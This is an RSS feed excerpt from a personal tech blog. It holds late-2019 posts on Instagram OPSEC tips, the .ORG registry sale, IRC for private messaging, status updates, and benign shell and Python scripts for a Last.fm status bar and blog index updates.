<h3 id="dos">DOs</h3>

<ul>
<li><p>Post pictures that pertain to a specific location, once you&#8217;ve moved
out of the location. Also applies to stories. It can wait.</p></li>
<li><p>Post pictures that have been shot indoors. Or try to; reasons above.
Who woulda thunk I&#8217;d advocate bathroom selfies?</p></li>
<li><p>Delete old posts that are irrelevant to your current audience. Your
friends at work don&#8217;t need to know about where you went to high school.</p></li>
</ul>

<p>More DON&#8217;Ts than DOs, that&#8217;s very telling. Here are a few more points
that are good OPSEC practices in general:</p>

<ul>
<li><strong>Think before you share</strong>. Does it conform to the rules mentioned above?</li>
<li><strong>Compartmentalize</strong>. Separate as much as you can from what you share
online, from what you do IRL. Limit information exposure.</li>
<li><strong>Assess your risks</strong>: Do this often. People change, your environments
change, and consequentially the risks do too.</li>
</ul>

<h2 id="fin">Fin</h2>

<p>Instagram is&#8212;much to my dismay&#8212;far too popular for it to die any
time soon. There are plenty of good reasons to stop using the platform
altogether (hint: Facebook), but that&#8217;s a discussion for another day.</p>

<p>Or be like me:</p>

<p><img src="/static/img/ig.jpg" alt="0 posts lul" /></p>

<p>And that pretty much wraps it up, with a neat little bow.</p>

<div class="footnotes">
<hr />
<ol>
<li id="fn-ddepisode">
<p><a href="https://darknetdiaries.com/episode/51/&#8212;Jack">https://darknetdiaries.com/episode/51/&#8212;Jack</a> talks about Indian hackers who operate on Instagram.&#160;<a href="#fnref-ddepisode" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/ig-opsec</link><pubDate>Mon, 02 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ig-opsec</guid></item><item><title>Save .ORG!</title><description><![CDATA[<p>The .ORG top-level domain introduced in 1985, has been operated by the
<a href="https://en.wikipedia.org/wiki/Public_Interest_Registry">Public Interest Registry</a> since
2003. The .ORG TLD is used primarily by communities, free and open source projects, 
and other non-profit organizations&#8212;although the use of the TLD isn&#8217;t
restricted to non-profits.</p>

<p>The Internet Society or ISOC, the group that created the PIR, has
decided to sell the registry over to a private equity firm&#8212;Ethos
Capital.</p>

<h2 id="whats-the-problem">What&#8217;s the problem?</h2>

<p>There are around 10 million .ORG TLDs registered, and a good portion of
them are non-profits and non-governmental organizations. As the name
suggests, they don&#8217;t earn any profits and all their operations rely on
a thin inflow of donations. A private firm having control of the .ORG
domain gives them the power to make decisions that would be unfavourable
to the .ORG community:</p>

<ul>
<li><p>They control the registration/renewal fees of the TLD. They can
hike the price if they wish to. As is stands, NGOs already earn very
little&#8212;a .ORG price hike would put them in a very icky situation.</p></li>
<li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en">Rights Protection
Mechanisms</a>
or RPMs, which are essentially legal statements that can&#8212;if not
correctly developed&#8212;jeopardize / censor completely legal non-profit
activities.</p></li>
<li><p>Lastly, they can suspend domains at the whim of state actors. It isn&#8217;t
news that nation states go after NGOs, targetting them with allegations
of illegal activity. The registry being a private firm only simplifies
the process.</p></li>
</ul>

<p>Sure, these are just &#8220;what ifs&#8221; and speculations, but the risk is real.
Such power can be abused and this would be severly detrimental to NGOs
globally.</p>

<h2 id="how-can-i-help">How can I help?</h2>

<p>We need to get the ISOC to <strong>stop the sale</strong>. Head over to
<a href="https://savedotorg.org">https://savedotorg.org</a> and sign their letter. An email is sent on your
behalf to:</p>

<ul>
<li>Andrew Sullivan, CEO, ISOC</li>
<li>Jon Nevett, CEO, PIR</li>
<li>Maarten Botterman, Board Chair, ICANN</li>
<li>Göran Marby, CEO, ICANN</li>
</ul>

<h2 id="closing-thoughts">Closing thoughts</h2>

<p>The Internet that we all love and care for is slowly being subsumed by
megacorps and private firms, who&#8217;s only motive is to make a profit. The
Internet was meant to be free, and we&#8217;d better act now if we want that
freedom. The future looks bleak&#8212;I hope we aren&#8217;t too late.</p>
]]></description><link>https://icyphox.sh/blog/save-org</link><pubDate>Sat, 23 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/save-org</guid></item><item><title>Status update</title><description><![CDATA[<p>This month is mostly just unfun stuff, lined up in a neat schedule &#8211;
exams. I get all these cool ideas for things to do, and it&#8217;s always
during exams. Anyway, here&#8217;s a quick update on what I&#8217;ve been up to.</p>

<h2 id="blog-post-queue">Blog post queue</h2>

<p>I realized that I could use this site&#8217;s
<a href="https://github.com/icyphox/site">repo</a>&#8217;s issues to track blog post ideas.
I&#8217;ve made a few, mostly just porting them over from my Google Keep note.</p>

<p>This method of using issues is great, because readers can chime in with
ideas for things I could possibly discuss&#8212;like in <a href="https://github.com/icyphox/site/issues/10">this
issue</a>.</p>

<h2 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h2>

<p><a href="https://github.com/icyphox/vite"><code>vite</code></a>, despite what the name suggests
&#8211; is awfully slow. Also, Python is bloat.
Will rewriting it fix that? That&#8217;s what I plan to find out. I have
a couple of choices of languages to use in the rewrite:</p>

<ul>
<li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li>
<li>Nim: My favourite, but I&#8217;ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li>
<li>Shell: Another favourite, muh &#8220;minimalsm&#8221;. No downside, really.
(<code>shite</code>?)</li>
</ul>

<p>Oh, and did I mention&#8212;I want it to be compatible with <code>vite</code>.
I don&#8217;t want to have to redo my site structure or its templates. At the
moment, I rely on Jinja2 for templating, so I&#8217;ll need something similar.</p>

<h2 id="irc-bot">IRC bot</h2>

<p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of
traction, which was pretty cool. I didn&#8217;t really talk much about the bot
itself though; I&#8217;m dedicating this section to
<a href="https://github.com/icyphox/detotated">detotated</a>.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>

<p>Fairly simple Python code, using plain sockets. So far, we&#8217;ve got a few
basic features in place:</p>

<ul>
<li><code>.np</code> command: queries the user&#8217;s last.fm to get the currently playing
track</li>
<li>Fetches the URL title, when a URL is sent in chat</li>
</ul>

<p>That&#8217;s it, really. I plan to add a <code>.nps</code>, or &#8220;now playing Spotify&#8221;
command, since we share Spotify links pretty often.</p>

<h2 id="other">Other</h2>

<p>I&#8217;ve been reading some more manga, I&#8217;ll update the <a href="/reading">reading
log</a> when I, well&#8230; get around to it. Haven&#8217;t had time to do
much in the past few weeks&#8212;the time at the end of a semester tends to
get pretty tight. Here&#8217;s what I plan to get back to during this winter break:</p>

<ul>
<li>Russian!</li>
<li>Window manager in Nim</li>
<li><code>vite</code> rewrite, probably</li>
<li>The other blog posts in queue</li>
</ul>

<p>I&#8217;ve also put off doing any &#8220;security work&#8221; for a while now, perhaps
that&#8217;ll change this December. Or whenever.</p>

<p>With that ends my status update, on all things that I <em>haven&#8217;t</em> done.</p>

<div class="footnotes">
<hr />
<ol>
<li id="fn-1">
<p><a href="https://knowyourmeme.com/memes/dedotated-wam">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know)&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/2019-11-16</link><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-11-16</guid></item><item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
daily communications, as opposed to non-free alternatives like WhatsApp
or Telegram. This is an account of how that went.</p>

<h2 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h2>

<p>I&#8217;ve tried a <em>ton</em> of messaging applications&#8212;Signal, WhatsApp,
Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>

<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
centralized architecture, and OWS&#8217;s refusal to federate.</p>

<p><strong>WhatsApp</strong>: Facebook&#8217;s spyware that people use without a second
thought. The sole reason I have it installed is for University&#8217;s
class groups; I can&#8217;t wait to graduate.</p>

<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It&#8217;s
got a very nice Android client, though.</p>

<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
on this because I don&#8217;t recall what my experience was like, but I&#8217;m not
using it now&#8230; so if that&#8217;s indicative of anything.</p>

<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
Overall, pretty great, but it&#8217;s slow. I&#8217;ve had messages not send / not
received a lot of times. Matrix + Riot excels in group communication, but
really sucks for one-to-one chats.</p>

<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>

<p><strong>DeltaChat</strong>: Pretty interesting idea&#8212;on paper. Using existing email
infrastructure for IM sounds great, but it isn&#8217;t all that cash in
practice. Email isn&#8217;t instant, there&#8217;s always a delay of give or take
5 to 10 seconds, if not more. This affects the flow of conversation.
I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>

<h2 id="why-irc">Why IRC?</h2>

<p>It&#8217;s free, in all senses of the word. A lot of others have done a great
job of answering this question in further detail, this is by far my
favourite:</p>

<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>

<h2 id="using-ircs-private-messages">Using IRC&#8217;s private messages</h2>

<p>This was the next obvious choice, but personal message buffers don&#8217;t
persist in ZNC and it&#8217;s very annoying to have to do a <code>/query
nerdypepper</code> (Weechat) or to search and message a user via Revolution
IRC. The only unexplored option&#8212;using a channel.</p>

<h2 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h2>

<p>A fairly easy process:</p>

<ul>
<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>

<pre><code>#crimson [+ilnpstz 3]
</code></pre>

<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
modes.</p></li>
<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
to send a notification for all messages in the specified buffer
(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
hand, has an option to setup rules for notifications&#8212;super
convenient.</p></li>
<li><p>A bot: Lastly, a bot for a few small tasks&#8212;fetching URL titles, responding
to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
took me about an hour or two to get most of the basic functionality in
place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
It is by no means &#8220;good code&#8221;; it breaks spectacularly from time to
time.</p></li>
</ul>

<h2 id="in-conclusion">In conclusion</h2>

<p>As the subtitle suggests, using IRC has been great. It&#8217;s probably not
for everyone though, but it fits my (and Nerdy&#8217;s) usecase perfectly.</p>

<p>P.S.: <em>I&#8217;m not sure why the footnotes are reversed.</em></p>

<div class="footnotes">
<hr />
<ol>
<li id="fn-modes">
<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>.&#160;<a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>

<li id="fn-deltachat">
<p>It&#8217;s in <a href="https://github.com/icyphox/site/issues/10">queue</a>.&#160;<a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
episode a couple of days ago, and it highlighted some interesting issues that
intelligence organizations face when working with law enforcement. Side note: it&#8217;s a pretty
good show if you like police procedurals.</p>

<h2 id="the-problem">The problem</h2>

<p>Consider the following scenario:</p>

<ul>
<li>There&#8217;s a local drug lord who&#8217;s been recruited to provide intel, by a certain 3-letter organization.</li>
<li>Local PD busts his operation and proceed to arrest him.</li>
<li>3-letter org steps in, wants him released.</li>
</ul>

<p>So here&#8217;s the thing, his presence is a threat to public but at the same time, 
he can be a valuable long term asset&#8212;giving info on drug inflow, exchanges and perhaps even 
actionable intel on bigger fish who exist on top of the ladder. But he also
seeks security. The 3-letter org must provide him with protection, 
in case he&#8217;s blown. And like in our case, they&#8217;d have to step in if he gets arrested.</p>

<p>Herein lies the problem. How far should an intelligence organization go to protect an asset? 
Who matters more, the people they&#8217;ve sworn to protect, or the asset? 
Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>

<p>Thus, the question arises&#8212;how can we measure the &#8220;usefulness&#8221; of an
asset to better quantify the tradeoff that is to be made? 
Is the intel gained worth the loss of public safety?
This question remains largely unanswered, and is quite the 
predicament should you find yourself in it.</p>

<p>This was a fairly short post, but an interesting problem to ponder
nonetheless.</p>
]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
to learn to code. Don&#8217;t get me wrong&#8212;it probably works for some.
Everyone learns differently. But that&#8217;s only going to get you so far.
Great you know the syntax, you can solve some competitive programming
problems, but that&#8217;s not quite enough, is it? The actual learning comes
from <em>applying</em> it in solving <em>actual</em> problems&#8212;not made up ones.
(<em>inb4 some seething CP bro comes at me</em>)</p>

<p>Now, what&#8217;s an actual problem? Some might define it as real world
problems that people out there face, and solving it probably requires
building a product. This is what you see in hackathons, generally.</p>

<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
face. This could be anything. Heck, it might not even be a &#8220;problem&#8221;. It
could just be an itch that you want to scratch. And this is where
<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
examples.</p>

<h2 id="now-playing-status-in-my-bar">Now playing status in my bar</h2>

<p>If you weren&#8217;t aware already&#8212;I rice my desktop. A lot. And a part of
this cohesive experience I try to create involves a status bar up at the
top of my screen, showing the time, date, volume and battery statuses etc.</p>

<p>So here&#8217;s the &#8220;problem&#8221;. I wanted to have my currently playing song
(Spotify), show up on my bar. How did I approach this? A few ideas
popped up in my head:</p>

<ul>
<li>Send <code>playerctl</code>&#8217;s STDOUT into my bar</li>
<li>Write a Python script to query Spotify&#8217;s API</li>
<li>Write a Python/shell script to query Last.fm&#8217;s API</li>
</ul>

<p>The first approach bombed instantly. <code>playerctl</code> didn&#8217;t recognize my
Spotify client and whined about some <code>dbus</code> issues to top it off.
I spent a while in that rabbit hole but eventually gave up.</p>

<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
I realize that I&#8217;ll have to make <em>more</em> than one request to fetch the
artist and track details. Nope, I need this to work fast.</p>

<p>Last resort&#8212;Last.fm&#8217;s API. Spolier alert, this worked. Also, arguably
the best choice, since it shows the track status regardless of where
the music is being played. Here&#8217;s the script in its entirety:</p>

<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
<span class="c1"># now playing</span>
<span class="c1"># requires the last.fm API key</span>

<span class="nb">source</span> ~/.lastfm    <span class="c1"># `export API_KEY=&quot;&lt;key&gt;&quot;`</span>
<span class="nv">fg</span><span class="o">=</span><span class="s2">&quot;</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">&quot;</span>
<span class="nv">light</span><span class="o">=</span><span class="s2">&quot;</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">&quot;</span>

<span class="nv">USER</span><span class="o">=</span><span class="s2">&quot;icyphox&quot;</span>
<span class="nv">URL</span><span class="o">=</span><span class="s2">&quot;http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks&quot;</span>
<span class="nv">URL</span><span class="o">+=</span><span class="s2">&quot;&amp;user=</span><span class="nv">$USER</span><span class="s2">&amp;api_key=</span><span class="nv">$API_KEY</span><span class="s2">&amp;format=json&amp;limit=1&amp;nowplaying=true&quot;</span>
<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">&quot; &quot;</span>    <span class="c1"># I like to have it show nothing</span>
<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">&#39;.recenttracks.track[0].&quot;@attr&quot;.nowplaying&#39;</span> <span class="o">&lt;&lt;&lt;</span> <span class="s2">&quot;</span><span class="nv">$RES</span><span class="s2">&quot;</span> <span class="p">|</span> tr -d <span class="s1">&#39;&quot;&#39;</span><span class="k">)</span>


<span class="k">if</span> <span class="o">[[</span> <span class="s2">&quot;</span><span class="nv">$NOWPLAYING</span><span class="s2">&quot;</span> <span class="o">=</span> <span class="s2">&quot;true&quot;</span> <span class="o">]]</span>
<span class="k">then</span>
    <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">&#39;.recenttracks.track[0].name&#39;</span> <span class="o">&lt;&lt;&lt;</span> <span class="s2">&quot;</span><span class="nv">$RES</span><span class="s2">&quot;</span> <span class="p">|</span> tr -d <span class="s1">&#39;&quot;&#39;</span><span class="k">)</span>
    <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">&#39;.recenttracks.track[0].artist.&quot;#text&quot;&#39;</span> <span class="o">&lt;&lt;&lt;</span> <span class="s2">&quot;</span><span class="nv">$RES</span><span class="s2">&quot;</span> <span class="p">|</span> tr -d <span class="s1">&#39;&quot;&#39;</span><span class="k">)</span>
    <span class="nb">echo</span> -ne <span class="s2">&quot;%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">&quot;</span>
<span class="k">else</span>
    <span class="nb">echo</span> -ne <span class="s2">&quot;</span><span class="nv">$NOTPLAYING</span><span class="s2">&quot;</span>
<span class="k">fi</span>
</code></pre></div>

<p>The <code>source</code> command is used to fetch the API key which I store at
<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they&#8217;re only
for coloring output on my bar. The rest is fairly trivial and just
involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
That&#8217;s it! It&#8217;s so small, but I learnt a ton. For those curious, here&#8217;s
what it looks like running:</p>

<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>

<h2 id="update-latest-post-on-the-index-page">Update latest post on the index page</h2>

<p>This pertains to this very blog that you&#8217;re reading. I wanted a quick
way to update the &#8220;latest post&#8221; section in the home page and the
<a href="/blog">blog</a> listing, with a link to the latest post. This would require
editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
of both pages.</p>

<p>This was a very
interesting challenge to me, primarily because it requires in-place
editing of the file, not just appending. Sure, I could&#8217;ve come up with
some <code>sed</code> one-liner, but that didn&#8217;t seem very fun. Also I hate
regexes. Did a lot of research (read: Googling) on in-place editing of
files in Python, sorting lists of files by modification time etc. and
this is what I ended up on, ultimately:</p>

<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>

<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">fileinput</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="c1"># change our cwd</span>
<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">&quot;bin&quot;</span><span class="p">)</span>

<span class="n">blog</span> <span class="o">=</span> <span class="s2">&quot;../pages/blog/&quot;</span>

<span class="c1"># get the most recently created file</span>
<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
    <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">&quot;_index.md&quot;</span><span class="p">,</span> <span class="s2">&quot;feed.xml&quot;</span><span class="p">]]</span>
    <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>

<span class="c1"># adding an entry to the markdown table</span>
<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="n">path</span> <span class="o">=</span> <span class="s2">&quot;../pages/_index.md&quot;</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">&quot;r&quot;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
    <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">&quot;| --- | --: |</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">)</span>
    <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span>

    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">&quot;w&quot;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>

<span class="c1"># editing the md source in-place</span>
<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="n">path</span> <span class="o">=</span> <span class="s2">&quot;../pages/blog/_index.md&quot;</span>
    <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span>
    <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
        <span class="k">if</span> <span class="s2">&quot;--:&quot;</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
            <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
        <span class="nb">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&quot;&quot;</span><span class="p">),</span>


<span class="c1"># fetch title and date</span>
<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">&quot;metadata&quot;</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">url</span> <span class="o">=</span> <span class="s2">&quot;/blog/&quot;</span> <span class="o">+</span> <span class="n">fname</span>
<span class="n">line</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&quot;| [</span><span class="si">{meta[&#39;title&#39;]}</span><span class="s2">](</span><span class="si">{url}</span><span class="s2">) | `</span><span class="si">{meta[&#39;date&#39;]}</span><span class="s2">` |&quot;</span>

<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</code></pre></div>

<p>I&#8217;m going to skip explaining this one out, but in essence, it&#8217;s <strong>one
massive hack</strong>. And in the end, that&#8217;s my point exactly. It&#8217;s very
hacky, but the sheer amount I learnt by writing this ~50
line script can&#8217;t be taught anywhere.</p>

<p>This was partially how
<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
intended to be a script to build my site, but grew into a full-blown
Python package. I could&#8217;ve just 
used an off-the-shelf static site generator
given that there are <a href="https://staticgen.com">so many</a> of them, but
I chose to write one myself.</p>

<p>And that just about sums up what I wanted to say. The best and most fun
way to learn to code&#8212;write hacky scripts. You heard it here.</p>
]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I&#8217;ve decided to drop the &#8220;Weekly&#8221; part of the status update posts, since
they were never weekly and&#8212;let&#8217;s be honest&#8212;they aren&#8217;t going to be.
These posts are, henceforth, just &#8220;Status updates&#8221;. The date range can
be inferred from the post date.</p>

<p>That said, here&#8217;s what I&#8217;ve been up to!</p>

<h2 id="void-linux">Void Linux</h2>

<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
really. The very comfy <code>apk</code>, ultra mnml system&#8230; but having to
maintain a chroot for my glibc needs was getting way too painful. And
the package updates are so slow! Heck, they&#8217;re still on kernel 4.xx on
their supposed &#8220;bleeding&#8221; <code>edge</code> repo.</p>

<p>So yes, Void Linux it is. Still a very clean system. I&#8217;m loving it.
I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
(-95 mV). Can&#8217;t say for sure if there&#8217;s a noticeable difference in
battery life though. I&#8217;ll see if I can run some tests.</p>

<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>

<h2 id="pycon">PyCon</h2>

<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>

<h2 id="this-website">This website</h2>

<p>I&#8217;ve moved out of GitHub Pages over to Netlify. This isn&#8217;t my first time
using Netlify, though. I used to host my old blog which ran Hugo, there.
I was tired of doing this terrible hack to maintain a single repo for
both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here&#8217;s
what I did:</p>

<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>

git push origin master
<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
git subtree push --prefix build origin gh-pages
</code></pre></div>

<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
build</code>. Very pleasant.</p>

<h2 id="mnmlwms-status"><code>mnmlwm</code>&#8217;s status</h2>

<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
window manager written in Nim. I&#8217;d taken a break from it for a while
because Xlib is such a pain to work with (or I&#8217;m just dense). Anyway,
I&#8217;m planning on getting back to it, with some fresh inspiration from
Dylan Araps&#8217; <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>

<h2 id="other">Other</h2>

<p>I&#8217;ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
Monogatari</em> (till the latest chapter) and <em>Another</em>, and I&#8217;ve just
started <em>Kakegurui</em>. I&#8217;ll reserve my opinions for when I update the
<a href="/reading">reading log</a>.</p>

<p>That&#8217;s about it, and I&#8217;ll see you&#8212;definitely not next week.</p>
]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I&#8217;m writing this article as I sit in class, back on the grind. Last
weekend&#8212;Oct 12th and 13th&#8212;was PyCon India 2019, in Chennai, India.
It was my first PyCon, <em>and</em> my first ever talk at a major conference!
This is an account of the all the cool stuff I saw, people I met and the
talks I enjoyed.
Forgive the lack of pictures&#8212;I prefer living the moment through my 
eyes. </p>

<h2 id="talks">Talks</h2>

<p>So much ML! Not that it&#8217;s a bad thing, but definitely interesting to
note. From what I counted, there were about 17 talks tagged under &#8220;Data
Science, Machine Learning and AI&#8221;. I&#8217;d have liked to see more talks
discussing security and privacy, but hey, the organizers can only pick
from what&#8217;s submitted. ;)</p>

<p>With that point out of the way, here are some of the talks I really liked:</p>

<ul>
<li><strong>Python Packaging - where we are and where we&#8217;re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
